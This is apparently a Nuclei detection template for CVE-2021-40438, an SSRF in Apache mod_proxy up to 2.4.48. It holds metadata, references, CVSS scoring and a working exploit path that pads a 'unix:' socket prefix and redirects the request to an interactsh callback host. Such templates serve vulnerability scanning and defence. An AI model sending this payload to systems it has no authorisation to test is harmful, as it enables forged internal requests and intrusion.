2021-10-14 19:59:52 +00:00
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id: CVE-2021-40438
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info:
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name: Apache <= 2.4.48 - Mod_Proxy SSRF
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author: pdteam
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severity: critical
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description: A crafted request uri-path can cause mod_proxy to forward the request to an origin server choosen by the remote user.
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reference:
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- https://firzen.de/building-a-poc-for-cve-2021-40438
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- https://httpd.apache.org/security/vulnerabilities_24.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-40438
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2022-01-22 17:48:07 +00:00
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tags: cve,cve2021,ssrf,apache,mod-proxy
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2021-10-14 20:34:25 +00:00
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 9.00
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cve-id: CVE-2021-40438
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cwe-id: CWE-918
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2021-10-14 19:59:52 +00:00
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requests:
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- method: GET
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path:
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2022-01-22 17:57:52 +00:00
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- '{{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://{{interactsh-url}}/'
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2021-10-14 19:59:52 +00:00
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redirects: true
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max-redirects: 2
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matchers:
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- type: word
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words:
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2022-01-22 17:57:52 +00:00
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- "Interactsh Server"
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